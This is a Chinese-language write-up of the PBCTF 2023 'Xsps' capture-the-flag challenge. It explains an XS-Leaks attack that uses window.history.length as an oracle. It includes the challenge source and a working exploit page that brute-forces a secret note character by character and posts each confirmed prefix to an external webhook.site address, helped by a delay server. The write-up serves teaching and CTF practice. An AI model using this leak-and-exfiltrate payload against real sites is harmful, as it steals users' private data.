参考:https://exp10it.cn/2023/02/pbctf-2023-xsps-writeup/#xsps
Xsleaks漏洞成因 Xsleaks攻击首先是基于Xss攻击的(Csrf同理);当我们可以控制bot的行为时,再处于某种特定的条件时,我们就可以使用xsleaks攻击将flag Leaks出来,原理很简单,比如我定义一个查询功能,你只需要输入一个参数q,随后我再定义一个flag,如flag{test_flag}
这时候假如有一个功能点,可以判断我们输入的q和flag的值开头是否一致,也就是flag.startwith(q)
,假如为真就会进行跳转,假如为否就不跳转 这时候我们就有了一个二元关系差,而这一点就可以用来作为leaks的条件,大致原理如下 那么这时候就得再介绍一个东西了,windows.history.length
History.length 是一个只读属性,返回当前 session 中的 history 个数,包含当前页面在内。举个例子,对于新开一个 tab 加载的页面当前属性返回值 1。
这一属性是用来判断当前页面加载了多少子页面,也就是通过这一个页面windows.location跳转弹窗了几个子页面,如上述例子,假如成功了的话,跳转顺序为http://target.com->http://target.com?q=flag{->http://success
,这样的话length为3,失败的话length为2,因此我们获取了一个二元关系差,也就是一个leaks条件,这一点和SQL盲注类似
PBCTF2023 Xsps 考点:Xsleaks 这一题就是经典的Xsleaks了,我直接放出重要的源码
坑点 大家放到vps的docker里去搭建,这里给出我的docker配置
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 version: '3.7' services: app: build: ./app/ ports: - "127.0.0.1:80:5000" environment: - PORT=5000 - WEB_CONCURRENCY=16 - CHALL_HOST=localhost - SECRET_KEY=NOTREALSECRET depends_on: - redis bot: build: ./bot/ init: true environment: - CHALL_HOST=localhost - CHALL_COOKIE=eyJub3RlcyI6eyJmbGFnIjoicGJjdGZ7eW91X3NvbHZlXzF0X2dvMGQhfSJ9fQ.ZD6YHg.19wA-HSKvMq1bIyII8Fpze147Ys depends_on: - redis redis: image: redis:6.0-alpine
bot的dockerfile
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 FROM node:19 COPY key.pub /tmp/ RUN apt-get update \ && apt-get install -y wget gnupg \ && apt-key add /tmp/key.pub \ && sh -c 'echo "deb [arch=amd64] http://dl.google.com/linux/chrome/deb/ stable main" >> /etc/apt/sources.list.d/google.list' \ && apt-get update \ && apt-get install -y libxss1 google-chrome-stable \ --no-install-recommends \ && rm -rf /var/lib/apt/lists/* RUN mkdir /bot/ COPY bot.js /bot/ WORKDIR /bot/ RUN npm i puppeteer RUN npm i redis RUN chown -R root:node /bot/ USER node CMD ["node", "bot.js"]
bot这个dockerfile注意了。自己去[https://dl-ssl.google.com/linux/linux_signing_key.pub](https://dl-ssl.google.com/linux/linux_signing_key.pub)
把这个公钥下载,放到dockerfile同目录处,否则就等着报错吧。 客户端的dockerfile
1 2 3 4 5 6 7 FROM python:3.8.16-slim-bullseye RUN pip install redis COPY ./requirements.txt /app/ RUN pip install -r /app/requirements.txt COPY ./app.py /app/main.py COPY static /app/static/ CMD ["python","/app/main.py"]
源码 app.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 from flask import Flask, request, session, jsonify, Response, make_response, gimport jsonimport redisimport randomimport osimport binasciiimport timeapp = Flask(__name__) app.secret_key = os.environ.get("SECRET_KEY" , "tops3cr3t" ) app.config.update( SESSION_COOKIE_SECURE=False , SESSION_COOKIE_HTTPONLY=True , ) HOST = os.environ.get("CHALL_HOST" , "localhost:5000" ) r = redis.Redis(host='redis' ) @app.route("/do_report" , methods=['POST' ] ) def do_report (): cur_time = time.time() ip = request.headers.get('X-Forwarded-For' ).split("," )[-2 ].strip() last_time = r.get('time.' +ip) last_time = float (last_time) if last_time is not None else 0 time_diff = cur_time - last_time if time_diff > 6 : r.rpush('submissions' , request.form['url' ]) r.setex('time.' +ip, 60 , cur_time) return "submitted" return "rate limited" @app.route("/report" , methods=['GET' ] ) def report (): return """ <head> <title>Notes app</title> </head> <body> <h3><a href="/note">Get Note</a> <a href="/">Change Note</a> <a href="/report">Report Link</a></h3> <hr> <h3>Please report suspicious URLs to admin</h3> <form action="/do_report" id="reportform" method=POST> URL: <input type="text" name="url" placeholder="URL"> <br> <input type="submit" value="submit"> </form> <br> </body> """ @app.before_request def rand_nonce (): g.nonce = binascii.b2a_hex(os.urandom(15 )).decode() @app.after_request def add_CSP (response ): response.headers['Content-Security-Policy' ] = f"default-src 'self'; script-src 'nonce-{g.nonce} '" return response @app.route('/add_note' , methods=['POST' ] ) def add (): if 'notes' not in session: session['notes' ] = {} session['notes' ][request.form['name' ]] = request.form['data' ] if 'highlight_note' in request.form and request.form['highlight_note' ] == "YES" : session['highlighted_note' ] = request.form['name' ] session.modified = True return "Changed succesfully" @app.route('/notes' ) def notes (): if 'notes' not in session: print ("no" ) return [] print ("yes" ) return [X for X in session['notes' ]] @app.route("/highlighted_note" ) def highlighted_note (): if 'highlighted_note' not in session: return {'name' :False } return session['highlighted_note' ] @app.route('/note/<path:name>' ) def get_note (name ): if 'notes' not in session: return "" if name not in session['notes' ]: return "" return session['notes' ][name] @app.route('/static/<path:filename>' ) def static_file (filename ): return send_from_directory('static' , filename) @app.route('/' ) def index (): return f""" <head> <title>Notes app</title> </head> <body> <script nonce='{g.nonce} ' src="/static/js/main.js"></script> <h3><a href="/report">Report Link</a></h3> <hr> <h3> Highlighted Note </h3> <div id="highlighted"></div> <hr> <h3> Add a note </h3> <form action="/add_note" id="noteform" method=POST> <input type=text name="name" placeholder="Note's name"> <br> <br> <textarea rows="10" cols="100" name="data" form="noteform" placeholder="Note's content"></textarea> <br> <br> <input type="checkbox" name="highlight_note" value="YES"> <label for="vehicle1">Highlight Note</label><br> <br> <input type="submit" value="submit"> </form> <hr> <h3>Search Note</h3> <a id=search_result></a> <input id='search_content' type=text name="name" placeholder="Content to search"> <input id='search_open' type="checkbox" name="open_after" value="YES"> <label for="open">Open</label><br> <br> <input id='search_button' type="submit" value="submit"> </body> """ if __name__=='__main__' : app.run( debug=False , host="0.0.0.0" )
bot.js:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 const redis = require ('redis' );const r = redis.createClient ({ socket : { port : 6379 , host : 'redis' , }}) const puppeteer = require ('puppeteer' );async function browse (url ){ console .log (process.env .CHALL_COOKIE ); console .log (`Browsing -> ${url} ` ); const browser = await (await puppeteer.launch ({ headless : true , args : ['--no-sandbox' , '--disable-gpu' ], executablePath : "/usr/bin/google-chrome" })).createIncognitoBrowserContext (); const page = await browser.newPage (); await page.setCookie ({ name : 'session' , value : process.env .CHALL_COOKIE , domain : process.env .CHALL_HOST }); try { const resp = await page.goto (url, { waitUntil : 'load' , timeout : 20 * 1000 , }); } catch (err){ console .log (err); } await page.close (); await browser.close (); console .log (`Done visiting -> ${url} ` ) } function sleep (ms ) { return new Promise ((resolve ) => { setTimeout (resolve, ms); }); } async function main ( ) { try { const submit_url = await r.blPop ( redis.commandOptions ({ isolated : true }), "submissions" , 0 ); let url = submit_url.element ; await browse (url); } catch (e) { console .log ("error" ); console .log (e); } main (); } async function conn ( ){ await r.connect (); } console .log ("XSS Bot ready" );conn ();main ()
staic/main.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 window .onload = async function ( ){ document .body .highlighted_note = await get_higlighted_note (); document .body .search_result = document .getElementById ('search_result' ); document .body .search_content = document .getElementById ('search_content' ) document .body .search_open = document .getElementById ('search_open' ) document .getElementById ('highlighted' ).innerHTML = document .body .highlighted_note ; document .getElementById ('search_button' ).onclick = search_click; } async function search_click ( ){ search_name ({'query' :document .body .search_content .value , 'open' : document .body .search_open .checked }) } window .addEventListener ('hashchange' , async function ( ){ let search_query = JSON .parse (atob (location.hash .substring (1 ))); search_name (search_query); }); async function search_name (search_data ){ let should_open = search_data['open' ] let query = search_data['query' ] let notes = await get_all_notes (); let found_note = notes.find ((val ) => val.note .toString ().startsWith (query)); if (found_note == undefined ){ document .body .search_result .href = '' ; document .body .search_result .text = 'NOT FOUND' document .body .search_result .innerHTML += '<br>' } document .body .search_result .href = `note/${found_note.name} ` ; document .body .search_result .text = 'FOUND' document .body .search_result .innerHTML += '<br>' if (should_open)document .body .search_result .click (); } async function get_all_notes ( ){ return await Promise .all ((await (await fetch ('/notes' )).json ()).map (async (name) => ({'name' :name, 'note' : (await get_note (name))}))) } async function get_higlighted_note ( ){ return get_note ((await (await fetch ('/highlighted_note' )).text ())); } async function get_note (name ){ return (await (await fetch (`/note/${name} ` )).text ()); }
功能点解析 首先是对于app.py,这个是客户端的主要逻辑,一共有几个功能,添加、删除、修改、获取、查找notes,主要需要注意的就是notes()
函数,他会获取我们Cookie里的notes属性,然后note/path:name
这个函数对应的就是查找note了,假如符合的话就会返回内容 其次是bot.js,对于bot的行为没什么特殊的,他就是会访问我们的界面而已,有一些坑点需要注意,就比如那个req.ip
是获取XFF头的,假如你不加就500了,所以在XFF头随便填一个1,2,3
让他不报错就好了,其次就是管理员是带了个Cookie的,比赛附件给的cookie是错的,会导致你本地无法复现成功,因此我自己准备了一个- CHALL_COOKIE=eyJub3RlcyI6eyJmbGFnIjoicGJjdGZ7eW91X3NvbHZlXzF0X2dvMGQhfSJ9fQ.ZD6YHg.19wA-HSKvMq1bIyII8Fpze147Ys
解码后的内容为{"notes":{"flag":"pbctf{you_solve_1t_go0d!}"}}
最后就是主要的main.js了,有一段需要注意
1 2 3 4 5 6 7 8 9 10 11 12 let found_note = notes.find ((val ) => val.note .toString ().startsWith (query)); if (found_note == undefined ){ document .body .search_result .href = '' ; document .body .search_result .text = 'NOT FOUND' document .body .search_result .innerHTML += '<br>' } document .body .search_result .href = `note/${found_note.name} ` ; document .body .search_result .text = 'FOUND' document .body .search_result .innerHTML += '<br>' if (should_open)document .body .search_result .click (); }
这一段明显做了模糊查询的处理,假如开头和notes的内容一致,就会进行跳转,这就是一开始说的二元关系差,有了这一点我们就可以盲注了,其次main.js会获取我们cookies里面的notes:
1 2 3 async function get_all_notes ( ){ return await Promise .all ((await (await fetch ('/notes' )).json ()).map (async (name) => ({'name' :name, 'note' : (await get_note (name))}))) }
这一段就是访问notes路由获取所有的notes,然后有一个部分也有个需要注意的点
1 2 3 4 window .addEventListener ('hashchange' , async function ( ){ let search_query = JSON .parse (atob (location.hash .substring (1 ))); search_name (search_query); });
他增加了一个叫hashchange的监听器,他会解码location.hash.substring(1)
,这个东西是什么呢?我们做一个实验 他会获取#
后面的内容,也就是锚点作用,如果后面的BASE64字段内容解码后符合search的条件,那就会跳转,如下所示 我新建了一个内容为TEST的notes,然后我在URL加上 然后就会自动跳转到这里,我们就可以利用这一点进行Xsleaks了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 <script > function xsleaks (leak ) { let data = {'query' : leak, 'open' : true }; let text = btoa (JSON .stringify (data)).replaceAll ('=' , '' ); let w = window .open ('http://114.116.119.253/' ); setTimeout (() => { w.location = 'http://114.116.119.253/#' + text; setTimeout (() => { w.location = 'about:blank' ; setTimeout (() => { console .log (w.history .length ); if (w.history .length == 4 ) { fetch ('https://webhook.site/e2fa3c0c-0935-45e5-b5b4-79763ee8a133?leak=' ,{ method : 'POST' , body : leak }).catch ((msg ) => {}); } w.close (); }, 500 ) }, 500 ); }, 500 ); } let param = new URLSearchParams (location.search ); let start = param.get ('start' ); async function sleep (ms ) { return new Promise ((r ) => setTimeout (r, ms)); } let sleepTime = 0 ; for (let i = 32 ; i <= 127 ; i ++) { let c = String .fromCharCode (i); setTimeout (xsleaks, sleepTime, 'pbctf{you_solve_1t_go0d!}' + c); sleepTime +=100 ; } </script > <img src ="http://114.116.119.253:8002/delay" >
1 2 3 4 5 6 7 8 9 10 11 12 from flask import Flaskimport timeapp = Flask(__name__) @app.route('/delay' ) def delay (): time.sleep(20 ) return "ok" if __name__ == '__main__' : app.run('0.0.0.0' , '8002' , debug=False )
这里解释一下这个Flask是怎么回事,他主要起一个延时器的作用,在源码中bot的timeout时限为20s,也就是最多停留在页面20s,那我们就给他delay个20s,在这20s的时间内,让他去leaks,也就是20s后xsleaks就结束,因此flag是不能一步到位的。。
其次的话对于上述payload中timeout时限,经过多次测试,极限是500,500ms的话刚好能在20s内请求127次,爆出一个字段,所以你得自己反复report。直到flag出完
好用的xsleaks平台 https://webhook.site/ 这玩意儿不比国内那个xss平台好用多了。